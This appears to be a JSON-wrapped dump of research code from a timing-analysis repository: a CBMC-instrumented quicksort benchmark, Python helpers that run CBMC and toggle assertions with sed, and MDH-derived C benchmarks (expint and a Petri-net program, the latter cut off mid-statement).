#ifdef CBMC\n __count_6_10_L = 0;\n #endif\n while (1) // 6?\n {\n #ifdef CBMC\n __count_6_7 = 0;\n #endif\n while ( \n lo < high && // 6\n (\n #ifdef CBMC \n __count_6_7++,\n #endif\n a[lo] < pivot) // 7\n )\n {\n #ifdef CBMC\n __count_7_5++;\n #endif\n lo++;\n }\n\n #ifdef CBMC\n if(lo < high)\n {\n \t__count_7_8++; // (then 8->10)\n }\n else\n {\n \t__count_6_10++;\n \t__count_6_10_L++;\n }\n #endif\n\n\n #ifdef CBMC\n __count_10_11 = 0;\n #endif\n // 10\n while (\n hi > low && // 10\n (\n #ifdef CBMC\n __count_10_11++,\n #endif\n a[hi] >= pivot) // 11\n )\n {\n #ifdef CBMC\n __count_11_9++;\n #endif\n // 9\n hi--;\n }\n #ifdef CBMC\n assert(__count_10_11 <= 60); // Loop counter property\n #endif\n \n #ifdef CBMC\n if(hi > low)\n {\n \t__count_11_12++;\n }\n else\n {\n \t__count_10_12++;\n }\n #endif\n\n\n // 12\n if (lo < hi)\n {\n #ifdef CBMC\n __count_12_13++;\n #endif\n \t// 13\n \n /* swap */\n tmp = a[lo];\n a[lo] = a[hi];\n a[hi] = tmp;\n hi--;\n }\n else\n {\n hi++;\n // 14\n if (hi == high)\n {\n // 19\n #ifdef CBMC\n __count_14_19++;\n #endif\n /* done with this segment */\n break;\n }\n\n\n /* push the larger segment onto the\n * stack and continue sorting the\n * smaller segment. */\n\n // 15\n if ((hi - low) > (high - hi))\n {\n \t// 16\n #ifdef CBMC\n \t__count_16_18++;\n #endif\n \n sp->lo = low;\n sp->hi = hi;\n sp++;\n\n hi = high;\n low = lo;\n }\n else\n {\n \t// 17\n #ifdef CBMC\n __count_17_18++;\n #endif\n sp->hi = high;\n sp->lo = hi;\n sp++;\n\n high = hi;\n lo = low;\n }\n // 18\n pivot = a[lo];\n hi--;\n }\n }\n #ifdef CBMC\n assert(__count_6_10_L + __count_6_7 <= 138); // Loop counter property\n #endif\n }\n #ifdef CBMC\n assert(__count_20_3 <= 101); // Loop counter property\n #endif\n\n // 21\n #ifdef CBMC\n __count_20_21++;\n __count_23++;\n #endif\n \n#ifdef CBMC\n//assert(__count_7_8 >= 327); // Lower capacity constraint\nassert(__count_7_8 <= 353); // Upper capacity constraint\n//assert(__count_7_5 >= 241); // Lower capacity constraint\nassert(__count_7_5 <= 516); // Upper capacity constraint\n//assert(__count_10_12 >= 156); // Lower capacity constraint\nassert(__count_10_12 <= 169); // Upper capacity constraint\nassert(__count_11_9 >= 227); // Lower capacity constraint\nassert(__count_11_9 <= 500); // Upper capacity constraint\nassert(__count_11_12 >= 164); // Lower capacity constraint\nassert(__count_11_12 <= 197); // Upper capacity constraint\nassert(__count_12_13 >= 128); // Lower capacity constraint\nassert(__count_12_13 <= 154); // Upper capacity constraint\nassert(__count_14_19 >= 100); // Lower capacity constraint\nassert(__count_14_19 <= 100); // Upper capacity constraint\nassert(__count_16_18 >= 12); // Lower capacity constraint\nassert(__count_16_18 <= 31); // Upper capacity constraint\nassert(__count_17_18 >= 68); // Lower capacity constraint\nassert(__count_17_18 <= 87); // Upper capacity constraint\nassert(__count_20_21 >= 1); // Lower capacity constraint\nassert(__count_20_21 <= 1); // Upper capacity constraint\nassert(__count_22_23 == 0); // Dead code\nassert(__count_23 >= 1); // Lower capacity constraint\nassert(__count_23 <= 1); // Upper capacity constraint\nassert(__count_6_10 == 0); // Dead code\n#endif\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = argc - 1;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * At least one integer value must be supplied\n */\n if (argc == 1)\n {\n return 1;\n }\n \n #ifdef CBMC\n __CPROVER_assume(ARRAY_SIZE >= 1 && ARRAY_SIZE <= 100);\n #endif\n\n for (i = 0; i < argc - 1; ++i)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n\n quicksort (ARRAY_SIZE, TV);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.5918958187103271, "alphanum_fraction": 0.6237336993217468, "avg_line_length": 21.29032325744629, "blob_id": "89555afe2b0bcb2b4b1723f028cf944fd082a19a", "content_id": "3dcb8b9d3287afc9242240ed64072832cbfc46a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 691, "license_type": "no_license", "max_line_length": 85, "num_lines": 31, "path": "/DaikonPathInformation/src/timing.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "from __future__ import print_function\n\nimport atexit\nimport time\n\ndef seconds_to_string(the_time):\n return \"%d:%02d:%02d.%03d\" % \\\n reduce(lambda ll,b : divmod(ll[0],b) + ll[1:], [(the_time*1000,),1000,60,60])\n\nline = \"=\"*60\ndef log(s, elapsed=None):\n print(line)\n the_time = time.clock()\n print(seconds_to_string(the_time), '-', s)\n if elapsed:\n print(\"Elapsed time:\", elapsed)\n print(line)\n print()\n return the_time\n\ndef endlog():\n end = time.clock()\n elapsed = end-start\n log(\"End Program\", seconds_to_string(elapsed))\n\ndef now():\n return seconds_to_string(time.clock())\n\nstart = time.clock()\natexit.register(endlog)\nlog(\"Start Program\")\n" }, { "alpha_fraction": 0.5746042132377625, "alphanum_fraction": 0.5787621736526489, "avg_line_length": 35.296512603759766, "blob_id": "9c85a1f8be323d06eb40bc1d26efd7e046d2f244", "content_id": "1a838b2236a9924c38d294750688b7797ac12f80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6253, "license_type": "no_license", "max_line_length": 130, "num_lines": 172, "path": "/DaikonPathInformation/src/tool_CBMC.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nfrom __future__ import print_function\n\nimport os\nimport re\nimport shutil\nimport signal\nimport functools\nimport subprocess\nimport argparse\nimport config\n\nnumber_of_assert_failures = 0\nthe_CBMC_process = None\n\nclass CBMCAssertFailure:\n UNWIND = 0\n ASSERTION = 1\n\nclass TimeoutException (Exception):\n pass\n\ndef timeout(seconds=10):\n def decorator(func):\n def handle_timeout(signum, frame):\n if not the_CBMC_process.poll():\n the_CBMC_process.kill()\n print(\"TIMEOUT reached!\")\n raise TimeoutException()\n def wrapper(*args, **kwargs):\n signal.signal(signal.SIGALRM, handle_timeout)\n signal.alarm(seconds)\n try:\n result = func(*args, **kwargs)\n finally:\n signal.alarm(0)\n return result\n return functools.wraps(func)(wrapper)\n return decorator\n\ndef count_asserts():\n cmd = \"ack-grep --count assert %s\" % config.Arguments.program_file\n proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) \n proc.wait()\n line = proc.stdout.readlines()[0].strip()\n print(line)\n count = re.findall(r':[0-9]+', line)[0]\n return int(count[1:])\n\ndef uncomment_failing_asserts():\n new_filename = config.Arguments.program_file + '.temp'\n new_file = open(new_filename, 'w')\n cmd = \"sed 's/\\/\\/assert/assert/g' %s\" % config.Arguments.program_file\n proc = subprocess.Popen(cmd, shell=True, stdout=new_file) \n proc.wait()\n new_file.close()\n shutil.move(new_filename, config.Arguments.program_file)\n\ndef comment_failing_assert(failedAssert):\n commented_assert = \"\\/\\/assert(%s);\" % failedAssert\n sedAssert = re.sub(r'\\s+', r'.*',failedAssert)\n assert_string = \"assert(%s);\" % sedAssert\n new_filename = config.Arguments.program_file + '.temp'\n new_file = open(new_filename, 'w')\n cmd = \"sed 's/%s/%s/g' %s\" % (assert_string, commented_assert, config.Arguments.program_file)\n proc = subprocess.Popen(cmd, shell=True, stdout=new_file) \n proc.wait()\n new_file.close()\n shutil.move(new_filename, config.Arguments.program_file)\n\ndef get_failing_assert(filename):\n stdin,stdout = os.popen2(\"tail -n 3 %s\" % filename)\n stdin.close()\n lines = stdout.readlines()\n stdout.close()\n line = lines[0].strip()\n if line.startswith(\"unwinding assertion\"):\n return CBMCAssertFailure.UNWIND, None\n else:\n assert re.search(r'\\s*__count_[0-9]+_[0-9]+', line)\n return CBMCAssertFailure.ASSERTION, line\n\ndef run_CBMC(unwind, root_function):\n global the_CBMC_process, number_of_assert_failures\n cmd = '%s --unwind %d -DCBMC %s --function %s' % (config.Arguments.CBMC, unwind, config.Arguments.program_file, root_function)\n print(\"Running '%s'\" % cmd)\n success = False\n cbmcOutput = os.path.abspath(os.getcwd() + os.sep + '%s.cbmc' % root_function)\n while not success:\n with open(cbmcOutput,'wb') as out:\n the_CBMC_process = subprocess.Popen(cmd, shell=True, stdout=out) \n the_CBMC_process.wait()\n out = open(cbmcOutput,'r')\n for line in out:\n if line.startswith(\"VERIFICATION SUCCESSFUL\"):\n success = True\n break\n out.close()\n if not success:\n failType, failedAssert = get_failing_assert(cbmcOutput)\n if failType == CBMCAssertFailure.ASSERTION:\n number_of_assert_failures += 1\n print(\"Assertion '%s' failed in '%s'\" % (failedAssert, config.Arguments.program_file))\n comment_failing_assert(failedAssert)\n else:\n print(\"Insufficient unwinding\")\n return success\n return success\n\n@timeout(config.Arguments.timeout)\ndef run(root_function):\n unwind = 4\n success = False\n while not success:\n success = run_CBMC(unwind, root_function)\n unwind *= 2\n\ndef the_command_line():\n parser = argparse.ArgumentParser(description=\"Verify dynamic analysis conjectures using CBMC\")\n \n parser.add_argument(\"program_file\",\n help=\"a '.c' file with CBMC instrumentation and assertions\")\n \n parser.add_argument(\"--CBMC\",\n help=\"path to CBMC\")\n \n parser.add_argument(\"--timeout\",\n type=int,\n help=\"set number of seconds at which to timeout\",\n default=600)\n \n parser.add_argument(\"--uncomment\",\n action=\"store_true\",\n help=\"uncomment failed assertions\")\n \n parser.add_argument(\"-d\",\n \"--debug\",\n type=int,\n help=\"debug mode\",\n default=0)\n \n parser.add_argument(\"-v\",\n \"--verbose\",\n action=\"store_true\",\n help=\"be verbose\",\n default=False)\n \n parser.parse_args(namespace=config.Arguments)\n \n config.Arguments.basename = os.path.splitext(os.path.basename(config.Arguments.program_file))\n \n if not config.Arguments.uncomment:\n assert config.Arguments.CBMC, \"You need to pass the path to CBMC\"\n assert os.path.exists(config.Arguments.CBMC), \"The CBMC path '%s' does not exist\" % config.Arguments.CBMC\n assert os.path.isfile(config.Arguments.CBMC), \"'%s' is not a file\" % config.Arguments.CBMC\n config.Arguments.CBMC = os.path.abspath(config.Arguments.CBMC)\n\nif __name__ == \"__main__\":\n the_command_line()\n if config.Arguments.uncomment:\n uncomment_failing_asserts(config.Arguments.program)\n else:\n root_function = os.path.splitext(config.Arguments.basename)[0]\n try:\n run(root_function)\n except:\n pass\n finally:\n print(\"In %s, %d asserts out of %d failed\" % (config.Arguments.program, \n number_of_assert_failures, \n count_asserts(config.Arguments.program)))\n \n \n" }, { "alpha_fraction": 0.3878205120563507, "alphanum_fraction": 0.42692306637763977, "avg_line_length": 15.421052932739258, "blob_id": "99e3a507af1668638ee95a0bcecf51ed8860aa7f", "content_id": "119e5abc2149b64fb0d0643e9a41991ce366bc90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1560, "license_type": "no_license", "max_line_length": 76, "num_lines": 95, "path": "/benchmarks/expint/expint.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Exponential integral function taken from MDH suite and modified by Adam Betts\n * to consume a test vector supplied on the command line.\n *\n * For this program, the test vector consists of 2 integers.\n */\n\nlong int\nexpint (int n, int x)\n{\n int i, ii, nm1;\n long int a, b, c, d, del, fact, h, psi, ans;\n \n /* arg = 50 => 49 */\n nm1 = n - 1;\n\n if (x > 1)\n {\n b = x + n;\n c = 2e6;\n d = 3e7;\n h = d;\n\n /* MAXIT is 100 */\n for (i = 1; i <= 100; i++)\n {\n\tprintf(\"HERE 1\\n\");\n a = -i * (nm1 + i);\n b += 2;\n d = 10* (a *d+b);\n c=b+a/c;\n del=c*d;\n h *= del;\n if (del < 10000)\n {\n ans=h*-x;\n return ans;\n }\n }\n }\n else\n {\n /*\n * For the current argument, will always take '2' path here\n */\n ans = nm1 != 0 ? 2 : 1000;\n fact=1;\n for (i=1;i<=100;i++)\n {\nprintf(\"HERE 2\\n\");\n fact *= -x/i;\n if (i != nm1)\n {\n /*\n * Depends on parameter n\n */\n del = -fact/(i-nm1);\n }\n else\n {\n /*\n * This fat piece only runs ONCE on iteration 49\n */\n psi = 0x00FF;\n for (ii=1; ii <= nm1; ii++)\n { \n psi += ii + nm1;\n }\n del = psi + fact * x * x + (8* x ) << 4 - x;\n }\n ans += del;\n }\n\n }\n\n printf(\"Returning %d\\n\", ans);\n\n return ans;\n}\n\nint\nmain (int argc, char *argv[])\n{\n /*\n * Two integer values must be supplied\n */\n if (argc != 3)\n {\n return 1;\n }\n\n expint (atoi (argv[1]), atoi (argv[2]));\n\n return 0;\n}\n" }, { "alpha_fraction": 0.42262521386146545, "alphanum_fraction": 0.47876349091529846, "avg_line_length": 24.585399627685547, "blob_id": "59d83eae29be8cfa53f3cf1aa853dd0459807e6b", "content_id": "cdbb28020ce47fa092f91fd7475fd2ff501e94be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 108304, "license_type": "no_license", "max_line_length": 69, "num_lines": 4233, "path": "/benchmarks/petri/petri.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Petri net (nsichneu) taken from MDH suite and modified by Adam Betts to\n * consume a test vector supplied on the command line.\n *\n * For this program, the test vector consists of a single integer.\n */\n\nvoid\npetri (int n)\n{\n int P1_is_marked = 3;\n long P1_marking_member_0[3];\n int P2_is_marked = 5;\n long P2_marking_member_0[5];\n int P3_is_marked = 0;\n long P3_marking_member_0[6];\n\n while (n > 0)\n {\n n--;\n\n /* Permutation for Place P1 : 0, 1, 2 */\n /* Transition T1 */\n if ((P1_is_marked >= 3) && (P3_is_marked + 3 <= 6)\n && (P1_marking_member_0[1] == P1_marking_member_0[2]))\n {\n\n long x;\n long y;\n long z;\n\n x = P1_marking_member_0[0];\n y = P1_marking_member_0[1];\n\n /* Transition condition */\n if (x < y)\n {\n\n /* demarking of input places */\n P1_is_marked -= 3;\n\n /* preaction */\n z = x - y;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = x;\n P3_marking_member_0[P3_is_marked + 1] = y;\n P3_marking_member_0[P3_is_marked + 2] = z;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P1 : 0, 2, 1 */\n /* Transition T1 */\n if ((P1_is_marked >= 3) && (P3_is_marked + 3 <= 6)\n && (P1_marking_member_0[2] == P1_marking_member_0[1]))\n {\n\n long x;\n long y;\n long z;\n\n x = P1_marking_member_0[0];\n y = P1_marking_member_0[2];\n\n /* Transition condition */\n if ((x < y))\n {\n\n /* demarking of input places */\n P1_is_marked -= 3;\n\n /* preaction */\n z = x - y;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = x;\n P3_marking_member_0[P3_is_marked + 1] = y;\n P3_marking_member_0[P3_is_marked + 2] = z;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P1 : 1, 0, 2 */\n /* Transition T1 */\n if ((P1_is_marked >= 3) && (P3_is_marked + 3 <= 6)\n && (P1_marking_member_0[0] == P1_marking_member_0[2]))\n {\n\n long x;\n long y;\n long z;\n\n x = P1_marking_member_0[1];\n y = P1_marking_member_0[0];\n\n /* Transition condition */\n if (x < y)\n {\n\n /* demarking of input places */\n P1_is_marked -= 3;\n\n /* preaction */\n z = x - y;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = x;\n P3_marking_member_0[P3_is_marked + 1] = y;\n P3_marking_member_0[P3_is_marked + 2] = z;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P1 : 1, 2, 0 */\n /* Transition T1 */\n if ((P1_is_marked >= 3) && (P3_is_marked + 3 <= 6)\n && (P1_marking_member_0[2] == P1_marking_member_0[0]))\n {\n\n long x;\n long y;\n long z;\n\n x = P1_marking_member_0[1];\n y = P1_marking_member_0[2];\n\n /* Transition condition */\n if ((x < y))\n {\n\n /* demarking of input places */\n P1_is_marked -= 3;\n\n /* preaction */\n z = x - y;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = x;\n P3_marking_member_0[P3_is_marked + 1] = y;\n P3_marking_member_0[P3_is_marked + 2] = z;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P1 : 2, 0, 1 */\n /* Transition T1 */\n if ((P1_is_marked >= 3) && (P3_is_marked + 3 <= 6)\n && (P1_marking_member_0[0] == P1_marking_member_0[1]))\n {\n long x;\n long y;\n long z;\n\n x = P1_marking_member_0[2];\n y = P1_marking_member_0[0];\n\n /* Transition condition */\n if ((x < y))\n {\n\n /* demarking of input places */\n P1_is_marked -= 3;\n\n /* preaction */\n z = x - y;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = x;\n P3_marking_member_0[P3_is_marked + 1] = y;\n P3_marking_member_0[P3_is_marked + 2] = z;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P1 : 2, 1, 0 */\n /* Transition T1 */\n if ((P1_is_marked >= 3) && (P3_is_marked + 3 <= 6)\n && (P1_marking_member_0[1] == P1_marking_member_0[0]))\n {\n long x;\n long y;\n long z;\n\n x = P1_marking_member_0[2];\n y = P1_marking_member_0[1];\n\n /* Transition condition */\n if ((x < y))\n {\n\n /* demarking of input places */\n P1_is_marked -= 3;\n\n /* preaction */\n z = x - y;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = x;\n P3_marking_member_0[P3_is_marked + 1] = y;\n P3_marking_member_0[P3_is_marked + 2] = z;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 1, 2, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && (((P3_is_marked + 3) <= 6))\n && (((P2_marking_member_0[1] == P2_marking_member_0[2]))\n && ((P2_marking_member_0[1] == P2_marking_member_0[3]))))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 1, 3, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && (((P3_is_marked + 3) <= 6))\n && ((P2_marking_member_0[1] == P2_marking_member_0[3])\n && (P2_marking_member_0[1] == P2_marking_member_0[2])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 2, 1, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[1])\n && (P2_marking_member_0[2] == P2_marking_member_0[3])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 2, 3, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[3])\n && (P2_marking_member_0[2] == P2_marking_member_0[1])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 3, 1, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[1])\n && (P2_marking_member_0[3] == P2_marking_member_0[2])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 3, 2, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[2])\n && (P2_marking_member_0[3] == P2_marking_member_0[1])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 0, 2, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[2])\n && (P2_marking_member_0[0] == P2_marking_member_0[3])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 0, 3, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[3])\n && (P2_marking_member_0[0] == P2_marking_member_0[2])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 2, 0, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[0])\n && (P2_marking_member_0[2] == P2_marking_member_0[3])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 2, 3, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[3])\n && (P2_marking_member_0[2] == P2_marking_member_0[0])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 3, 0, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[0])\n && (P2_marking_member_0[3] == P2_marking_member_0[2])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 3, 2, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[2])\n && (P2_marking_member_0[3] == P2_marking_member_0[0])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 0, 1, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[1])\n && (P2_marking_member_0[0] == P2_marking_member_0[3])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 0, 3, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[3])\n && (P2_marking_member_0[0] == P2_marking_member_0[1])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 1, 0, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[0])\n && (P2_marking_member_0[1] == P2_marking_member_0[3])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 1, 3, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[3])\n && (P2_marking_member_0[1] == P2_marking_member_0[0])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n 